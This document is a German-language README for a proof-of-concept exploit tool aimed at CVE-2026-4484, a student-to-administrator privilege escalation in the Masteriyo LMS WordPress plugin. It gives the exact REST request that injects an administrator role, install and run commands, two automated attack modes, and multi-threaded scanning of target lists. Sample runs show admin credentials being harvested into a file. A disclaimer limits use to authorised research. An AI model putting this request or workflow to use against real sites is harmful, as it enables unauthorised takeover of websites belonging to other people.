
Masteriyo LMS <= 2.1.6 – Fehlende Autorisierung für authentifizierte (Student+) Benutzer: Privilegienerweiterung zum Administrator
Masteriyo LMS <= 2.1.6 - Fehlende Autorisierung führt zu authentifizierter (Student+) Privilegieneskalation zum Administrator
Beschreibung:
Das Masteriyo-LMS-Plugin für WordPress ist in allen Versionen bis einschließlich 2.1.6 anfällig für Privilegieneskalation. Die Schwachstelle hat ihren Ursprung in der Funktion InstructorsController::prepare_object_for_database, die bei REST-API-Anfragen die Rollenzuweisung nicht ordnungsgemäß einschränkt. Ein authentifizierter Angreifer mit lediglich Student-Level-Zugriff kann eine speziell gestaltete POST-Anfrage an den Masteriyo-REST-API-Endpunkt senden — indem er "roles": ["administrator"] in die Anfrage-Nutzdaten einfügt — und so sein Konto stillschweigend zum WordPress-Administrator erweitern, was eine vollständige Übernahme der Website ohne jegliche administrative Interaktion ermöglicht.
Dies ist ein Proof-of-Concept-Exploit-Skript (PoC), das sich gegen WordPress-Installationen richtet, die eine verwundbare Version des Masteriyo-LMS-Plugins ausführen. Das Tool unterstützt zwei Angriffsmodi:
| Modus | Name | Ablauf | Anwendungsfall |
|---|---|---|---|
[Register / Login as Student]
↓
[Fetch Dashboard Context — user_id + nonce]
↓
[POST /wp-json/masteriyo/v1/users/instructors/{id}]
[Payload: {"roles": ["administrator"]}]
↓
[Re-login with fresh session]
↓
[Verify /wp-admin access → confirmed Administrator]
↓
[Write to Login_admin.txt]
pip install requests urllib3 colorama
Oder über die Requirements-Datei:
pip install -r requirements.txt
requirements.txt:
requests>=2.28.0
urllib3>=1.26.0
colorama>=0.4.6
# Clone the repository
git clone https://github.com/Nxploited/CVE-2026-4484.git
cd CVE-2026-4484
# Install dependencies
pip install -r requirements.txt
# Run the tool
python3 CVE-2026-4484.py
python3 CVE-2026-4484.py
Das Tool verwendet eine interaktive Terminal-Oberfläche — alle Parameter werden zur Laufzeit abgefragt.
Erstellen Sie eine einfache Textdatei (z. B. list.txt) mit einem Ziel pro Zeile:
https://target1.com
https://target2.com
http://target3.com/wordpress
Verwenden Sie diesen Modus, wenn Sie kein bestehendes Konto auf dem Ziel haben. Das Tool registriert automatisch ein neues Studentenkonto und eskaliert es anschließend.
Select mode (1=Nx_1, 2=Nx_2) [2]: 1
Targets list file (one host/URL per line) [list.txt]: list.txt
Threads (concurrent sites) [5]: 5
HTTP timeout (seconds) [10]: 10
Username to register (Nx_1) [Nxploited]: Nxploited
Email to use for registration+login (Nx_1) [[email protected]]: [email protected]
Password to use (Nx_1) [Nx_admin]: Nx_admin123!
Automatisch ausgeführte Schritte:
/account/signup/ → Registrierungs-Nonce extrahieren/st/ → neues Konto als Student registrieren/account/ → Login-Nonce extrahieren/wp-admin/admin-ajax.php → über Masteriyo-AJAX anmelden/account/#/dashboard → current_user_id + nonce extrahieren/wp-json/masteriyo/v1/users/instructors/{id} mit {"roles":["administrator"]}Login_admin.txt schreibenVerwenden Sie diesen Modus, wenn Sie bereits über ein gültiges Studenten- oder Dozentenkonto auf dem Ziel verfügen.
Select mode (1=Nx_1, 2=Nx_2) [2]: 2
Targets list file (one host/URL per line) [list.txt]: list.txt
Threads (concurrent sites) [5]: 5
HTTP timeout (seconds) [10]: 10
Username or Email for login+escalation (Nx_2) [admin]: [email protected]
Password for that user: mypassword
Automatisch ausgeführte Schritte:
/account/ → Login-Nonce extrahieren/wp-admin/admin-ajax.php → über Masteriyo-AJAX anmelden/account/#/dashboard → current_user_id + nonce extrahieren/wp-json/masteriyo/v1/users/instructors/{id} mit {"roles":["administrator"]}Login_admin.txt schreiben| Datei | Beschreibung |
|---|---|
Login_admin.txt | Alle bestätigten Administrator-Eskalationen |
https://target.com/wp-login.php user:[email protected]|pass:Nx_admin123!
[OK] https://target.com :: LOGIN OK :: success
[OK] https://target.com :: DASHBOARD :: user_id=42 nonce=a1b2c3d4e5
[OK] https://target.com :: ESCALATE SUCCESS :: user_id=42 username=nxploited roles=['administrator']
[OK] https://target.com :: ADMIN SESSION VERIFIED (dashboard + plugin-install access).
POST /wp-json/masteriyo/v1/users/instructors/{user_id}
{
"roles": ["administrator"]
}
Content-Type: application/json
X-WP-Nonce: <extracted_from_dashboard>
Die Funktion InstructorsController::prepare_object_for_database in Masteriyo LMS verarbeitet den Parameter roles aus dem REST-Anfragekörper, ohne zu prüfen, ob der anfragende Benutzer über die Berechtigung edit_users oder promote_users verfügt. Jeder authentifizierte Benutzer (Student-Level oder höher), der diesen Endpunkt erreichen kann, kann einen beliebigen Rollenwert übermitteln — einschließlich administrator — der dann direkt in der WordPress-Benutzermetadaten-Tabelle gespeichert wird.
Von: Nxploited (Khaled Alenazi)
DIESES TOOL WIRD AUSSCHLIESSLICH ZU BILDUNGSZWECKEN UND FÜR AUTORISIERTE SICHERHEITSFORSCHUNG BEREITGESTELLT.
Der Autor, Nxploited (Khaled Alenazi), und alle Mitwirkenden an diesem Projekt billigen, unterstützen oder übernehmen keinerlei Verantwortung für den Missbrauch dieses Tools oder für Schäden, die durch die Verwendung dieser Software gegen Systeme entstehen, für die Sie keine ausdrückliche schriftliche Genehmigung besitzen.
- ✅ Erlaubt: Verwendung auf Systemen, die Sie besitzen oder für die Ihnen eine ausdrückliche schriftliche Genehmigung zum Testen erteilt wurde.
- ❌ Verboten: Verwendung gegen beliebige Systeme ohne vorherige ausdrückliche schriftliche Genehmigung des Systeminhabers.
Unbefugter Zugriff auf Computersysteme ist rechtswidrig und wird nach den geltenden Gesetzen geahndet, einschließlich, aber nicht beschränkt auf den Computer Fraud and Abuse Act (CFAA), den Computer Misuse Act (CMA) und gleichwertige Gesetze weltweit.
Durch die Nutzung dieses Tools übernehmen Sie die alleinige Verantwortung für Ihre Handlungen und bestätigen, dass Sie die rechtliche Befugnis haben, die Zielsysteme zu testen.
Der Autor übernimmt keinerlei Haftung für direkte, indirekte, zufällige oder Folgeschäden, die aus der Nutzung oder dem Missbrauch dieser Software entstehen.
© 2026 Nxploited (Khaled Alenazi) — Nur für autorisierte Sicherheitsforschung.
| Feld | Details |
|---|
| CVE-ID | CVE-2026-4484 |
| Schweregrad | HOCH — CVSS v3.1-Wert: 8.8 |
| Vektor | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| CNA | Wordfence |
| Betroffene Software | Masteriyo-LMS-Plugin für WordPress |
| Betroffene Versionen | Alle Versionen bis einschließlich 2.1.6 |
| Schwachstellentyp | Privilegieneskalation (Rollenmanipulation) |
| Erforderliche Authentifizierung | Ja — Student-Level oder höher |
| CWE | CWE-269: Unzureichende Privilegienverwaltung |
Nx_1 |
| Registrieren → Anmelden → Eskalieren → Admin verifizieren |
| Frischer Angriff — kein bestehendes Konto erforderlich |
| 2 | Nx_2 | Anmelden → Eskalieren → Admin verifizieren | Bestehendes Konto vorhanden (Student/Dozent) |